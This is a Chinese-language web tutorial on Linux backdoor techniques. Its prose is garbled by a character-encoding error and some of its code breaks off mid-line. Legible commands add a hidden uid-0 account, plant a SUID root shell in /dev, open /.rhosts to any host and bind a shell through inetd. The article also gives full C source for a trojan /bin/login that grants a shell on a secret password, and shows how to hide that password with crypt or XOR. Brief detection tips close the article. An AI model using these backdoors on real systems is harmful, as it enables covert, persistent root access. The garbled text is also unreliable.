µ±Ç°Î»ÖãºLinux½Ì³Ì - Linux×ÛºÏ - Ææ»õ¿É¾Ó LinuxºóÃż¼Êõ¼°Êµ¼ù·½·¨Ì¸

Ææ»õ¿É¾Ó LinuxºóÃż¼Êõ¼°Êµ¼ù·½·¨Ì¸

¡¡¡¡ºóÃżò½é¡¡¡¡¡¡¡¡ÈëÇÖÕßÍêÈ«¿ØÖÆϵͳºó£¬Îª·½±ãÏ´νøÈë¶ø²ÉÓõÄÒ»ÖÖ¼¼Êõ¡£¡¡¡¡¡¡¡¡Ò»°ãͨ¹ýÐÞ¸ÄϵͳÅäÖÃÎļþºÍ°²×°µÚÈý·½ºóÃŹ¤¾ßÀ´ÊµÏÖ¡£ ¾ßÓÐÒþ±ÎÐÔ£¬ÄÜÈÆ¿ªÏµÍ³ÈÕÖ¾£¬²»Ò×±»ÏµÍ³¹ÜÀíÔ±·¢ÏÖµÈÌص㡣¡¡¡¡¡¡¡¡³£ÓúóÃż¼Êõ¡¡¡¡¡¡¡¡Ôö¼Ó³¬¼¶Óû§Õ˺š¡¡¡Æƽâ/Ðá̽Óû§ÃÜÂë¡¡¡¡·ÅÖÃSUID Shell¡¡¡¡rhosts + +¡¡¡¡ÀûÓÃϵͳ·þÎñ³ÌÐò¡¡¡¡TCP/UDP/ICMP Shell¡¡¡¡Crontab¶¨Ê±ÈÎÎñ¡¡¡¡¹²Ïí¿âÎļþ¡¡¡¡¹¤¾ß°ürootkit¡¡¡¡¿É×°ÔØÄÚºËÄ£¿é(LKM)¡¡¡¡¡¡¡¡Ôö¼Ó³¬¼¶Óû§¡¡¡¡¡¡¡¡# echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd¡¡¡¡# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow¡¡¡¡¡¡¡¡Èç¹ûϵͳ²»ÔÊÐíuid=0µÄÓû§Ô¶³ÌµÇ¼£¬»¹ÐèÒªÔö¼ÓÒ»¸öÆÕͨÓû§Õ˺š£¡¡¡¡¡¡¡¡Æƽâ/Ðá̽Óû§ÃÜÂë¡¡¡¡¡¡¡¡»ñµÃshadowÎļþºó£¬ÓÃJohn the Ripper ¹¤¾ßÆƽⱡÈõµÄÓû§ÃÜÂë¡£°²×°sniffitµÈÐá̽¹¤¾ß£¬¼àÌýtelnet¡¢FTPµÈ¶Ë¿Ú£¬ÊÕ¼¯Óû§ÃÜÂë¡£¡¡¡¡¡¡¡¡·ÅÖÃSUID Shell¡¡¡¡¡¡¡¡# cp /bin/bash /dev/.rootshell¡¡¡¡# chmod u+s /dev/.rootshell¡¡¡¡¡¡¡¡ÆÕͨÓû§ÔÚ±¾»úÔËÐÐ/dev/.rootshell£¬¼´¿É»ñµÃÒ»¸örootȨÏÞµÄshell¡£¡¡¡¡¡¡¡¡rhosts + +¡¡¡¡¡¡¡¡# echo "+ +" > /.rhosts¡¡¡¡# rsh -l root victim.com csh -i¡¡¡¡¡¡¡¡Ô¶³Ì¿ÉÒԵõ½Ò»¸örootshell¡£¡¡¡¡¡¡¡¡ÀûÓÃϵͳ·þÎñ³ÌÐò¡¡¡¡¡¡¡¡ÐÞ¸Ä/etc/inetd.conf£¬ daytime stream tcp nowait /bin/sh sh -I £»ÓÃtrojan³ÌÐòÌæ»»in.telnetd¡¢in.rexecdµÈintedµÄ·þÎñ³ÌÐò¡¡¡¡Öض¨Ïòlogin³ÌÐò¡¡¡¡¡¡¡¡TCP/UDP/ICMP Shell¡¡¡¡¡¡¡¡BindShell£¬´ó²¿·ÖÊÇ»ùÓÚTCP/UDPЭÒéµÄÍøÂç·þÎñ³ÌÐò£¬Ôڸ߶˿ڼàÌý£¬ºÜÈÝÒ×±»·¢ÏÖ¡£Ping Backdoor£¬Í¨¹ýICMP°ü¼¤»îºóÃÅ£¬ÐγÉÒ»¸öShellͨµÀ¡£¡¡¡¡¡¡¡¡TCP ACKÊý¾Ý°üºóÃÅ£¬Äܹ»´©Ô½·À»ðǽ¡£¡¡¡¡¡¡¡¡Crontab¶¨Ê±ÈÎÎñ¡¡¡¡¡¡¡¡Í¨¹ýCrontab³ÌÐòµ÷¶ÈÒÑ°²×°µÄºóÃųÌÐò¶¨Ê±ÔËÐУ¬Ò»°ãÔÚÉîҹʱ¶Î£¬ÊÇϵͳ¹ÜÀíÔ±²»ÔÚÏßµÄʱ¼ä¡£¡¡¡¡¡¡¡¡¹²Ïí¿âÎļþ¡¡¡¡¡¡¡¡ÔÚ¹²Ïí¿âÖÐǶÈëºóÃź¯ÊýʹÓúóÃÅ¿ÚÁ»îShell£¬»ñµÃȨÏÞÄܹ»¶ã±Üϵͳ¹ÜÀíÔ±¶Ô¶þ½øÖÆÎļþ±¾ÉíµÄУÑé¡¡¡¡¡¡¡¡¹¤¾ß°ürootkit¡¡¡¡¡¡¡¡°üº¬Ò»ÏµÁÐϵͳ¼°ºóÃŹ¤¾ß£º¡¡¡¡¡¡¡¡- Çå³ýÈÕÖ¾ÖеĵǼ¼Ç¼¡¡¡¡- αװУÑéºÍ¡¡¡¡- Ìæ»»netstat¡¢psµÈÍøÂ繤¾ß¡¡¡¡- ºóÃŵǼ³ÌÐòÒ×ÓÚ°²×°ºÍʹÓá¡¡¡¡¡¡¡¿É×°ÔØÄÚºËÄ£¿é(LKM)¡¡¡¡¡¡¡¡LKM£ºLoadable Kernel Modules ¶¯Ì¬µÄ¼ÓÔØ£¬²»ÐèÒªÖØбàÒëÄںˡ£¡¡¡¡¡¡¡¡½Ø»ñϵͳµ÷Ó㬾ßÓÐÒþ²ØĿ¼¡¢Îļþ¡¢½ø³Ì¡¢ÍøÂçÁ¬½ÓµÈÇ¿´ó¹¦ÄÜ¡£¡¡¡¡¡¡¡¡×ÔÉíÒþ±ÎÐԺ㬷¢ÏÖÄѶȽϴ󡣡¡¡¡¡¡¡¡ÖøÃûµÄLKM°üÓÐadoreºÍknark¡£¡¡¡¡¡¡¡¡ºóÃŵļì²â¡¡¡¡¡¡¡¡ÒÔ×Ô¼ºµÄ¾­Ñ飬½áºÏÌض¨µÄ¹¤¾ß£¬ÊÖ¹¤×÷һЩ¼ì²â¡£¡¡¡¡¡¡¡¡Ê¹ÓÃTripwire»òmd5УÑéÀ´¼ì²éϵͳ¡£¡¡¡¡¡¡¡¡½èÖúIDSϵͳ£¬¼àÌýµ½Ä¿±ê»úÆ÷µÄ¿ÉÒÉÍøÂçÁ¬½Ó¡£¡¡¡¡¡¡¡¡ÊµÀý£ºloginºóÃÅ¡¡¡¡¡¡¡¡ÈëÇÖÕßÏÈ°ÑԭʼµÄ/bin/login±¸·Ý£¬ÔÙÓÃÒ»¶Î³ÌÐòÌæ»»/bin/login¡£ÈëÇÖÕßtelnetµÇ¼½øÀ´µÄʱºò£¬Í¨¹ý»·¾³±äÁ¿»òÕßÖÕ¶ËÀàÐÍ¡¡¡¡´«µÝÁËÕýÈ·µÄºóÃÅÃÜÂ룬½«Ö±½Ó»ñµÃÒ»¸öShell£»Èç¹ûÊÇÆÕͨÓû§µÇ¼£¬½«»áÖض¨Ïòµ½Ô­Ê¼µÄloginÎļþ£¬À´´¦ÀíÕý³£µÄµÇ¼¡£¡¡¡¡¡¡¡¡×î¼òµ¥µÄloginºóÃÅulogin.cÔ´´úÂëÈçÏ£º¡¡¡¡¡¡¡¡ÊµÀý£ºloginºóÃÅ¡¡¡¡¡¡¡¡#include ¡¡¡¡#define PASSWord "passWORD"¡¡¡¡#define _PATH_LOGIN "/sbin/logins"¡¡¡¡¡¡¡¡main (argc, argv, envp)¡¡¡¡int argc;¡¡¡¡char **argv, **envp;¡¡¡¡{¡¡¡¡char *display = getenv("DISPLAY");¡¡¡¡if ( display == NULL ) {¡¡¡¡execve(_PATH_LOGIN, argv, envp);¡¡¡¡perror(_PATH_LOGIN);¡¡¡¡exit(1);¡¡¡¡}¡¡¡¡if (!strcmp(display,PASSWORD)) {¡¡¡¡system("/bin/csh");¡¡¡¡exit(1);¡¡¡¡}¡¡¡¡execve(_PATH_LOGIN, argv, envp);¡¡¡¡exit(1);¡¡¡¡}¡¡¡¡¡¡¡¡ÀûÓúóÃŵǼ¡¡¡¡¡¡¡¡Ê×ÏÈTelnet·þÎñÊÇ´ò¿ªµÄ£¬ÔÚ×Ô¼º»úÆ÷ÉÏ£º¡¡¡¡¡¡¡¡bash$ eXPort DISPLAY=passWORD¡¡¡¡bash$ telnet victim.com¡¡¡¡Trying xxx.xxx.xxx.xxx...¡¡¡¡Connected to victim.com (xxx.xxx.xxx.xxx).¡¡¡¡Escape character is '^]'.¡¡¡¡% _¡¡¡¡¡¡¡¡stringsÃüÁî¡¡¡¡¡¡¡¡stringsÃüÁîÄܹ»´òÓ¡³ö¶þ½øÖÆÎļþÖеĿÉÏÔʾ×Ö·û´®£¬ÓÃÓڸղŵÄulogin³ÌÐò£º¡¡¡¡¡¡¡¡bash$ strings ulogin¡¡¡¡/lib/ld-Linux.so.2¡¡¡¡..............¡¡¡¡DISPLAY¡¡¡¡/sbin/logins¡¡¡¡passWORD¡¡¡¡/bin/csh¡¡¡¡¡¡¡¡¼ÓÃܺóÃÅÃÜÂë¡¡¡¡¡¡¡¡1£¬²ÉÓÃDESËã·¨£¬¼´crypt( )º¯Êý£¬±àдgen.c³ÌÐò£º¡¡¡¡¡¡¡¡#include ¡¡¡¡main(int argc, char *argv[])¡¡¡¡{¡¡¡¡if (argc != 3) {¡¡¡¡printf("usage: %s

\n", argv[0]);¡¡¡¡exit(1);¡¡¡¡}¡¡¡¡printf("%s\n", crypt(argv[1], argv[2]));¡¡¡¡}¡¡¡¡¡¡¡¡2¡¢±àÒëΪgen£¬Ö´ÐÐ./gen hack ui£¬µÃµ½µÄshadow½á¹ûΪUiVqMWvDrIQjA¡£¡¡¡¡¡¡¡¡3¡¢Ð޸ĺóÃÅÔ´³ÌÐòulogin.c£º¡¡¡¡¡¡¡¡-- ÒÔÃÜÎÄÐÎʽµÄÃÜÂë´úÌæulogin.cÖÐdefineµÄºêPASSWORDÖµ¡£¡¡¡¡¡¡¡¡-- Èç¹ûºóÃÅÃÜÂëÕýÈ·£¬Ö±½Ó¸ø³öShell£º¡¡¡¡¡¡¡¡if (!strcmp(PASSWORD, crypt(display,PASSWORD)))¡¡¡¡{¡¡¡¡system(SHELL);¡¡¡¡exit(1);¡¡¡¡}¡¡¡¡¡¡¡¡ÓÃstringsÃüÁîÖ»ÄÜ¿´µ½¼ÓÃܹýµÄÃÜÂë¡£¡¡¡¡¡¡¡¡²ÉÓÃÒì»ò£¨XOR£©Ëã·¨¡¡¡¡¡¡¡¡ÒÔÊ®Áù½øÖÆ·½Ê½±íʾ×Ö·û´®£¬ÒÔ´ïµ½non- printableµÄЧ¹û¡¡¡¡¡¡¡¡1¡¢±àÂë³ÌÐòencode.cÈçÏ£º¡¡¡¡¡¡¡¡char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";¡¡¡¡char *de(char *str,char *key)¡¡¡¡{¡¡¡¡int i=0,j=0,len;¡¡¡¡len=strlen(key);¡¡¡¡while(str[i] != '\0') {¡¡¡¡str[i]^=key[j];¡¡¡¡j++;¡¡¡¡if(j==len) j=0;¡¡¡¡i++;¡¡¡¡}¡¡¡¡return str;¡¡¡¡}¡¡¡¡void display(char *str)¡¡¡¡{¡¡¡¡int i;¡¡¡¡for(i=0;i> ulogin¡¡¡¡¡¡¡¡LoginºóÃŵļì²â¡¡¡¡¡¡¡¡Ê¹ÓÃÃüÁîmd5sum¶ÔÏÖÓÐ/bin/loginÎļþ×÷УÑ飬ÓëÒÔÇ°µÄÖµ×÷±È½Ï¡£¡¡¡¡¡¡¡¡Ê¹ÓÃRed Hat LinuxµÄRPMУÑ飺¡¡¡¡¡¡¡¡# rpm -V util-linux¡¡¡¡¡¡¡¡ÔÚÈëÇÖÕßÒѾ­ÀûÓúóÃŵǼµÄÇé¿öÏ£¬whoÊÇ¿´²»µ½Óû§µÄ£¬²é¿´ÏµÍ³½ø³Ì£¬²éÕÒlogin -h xxx.xxx.xxx.xxxµÄ×ÖÑù¡£
[1] [2] ÏÂÒ»Ò³ 

£¨³ö´¦£ºhttp://www.sheup.com£©


ÉÏÒ»Ò³ [1] [2]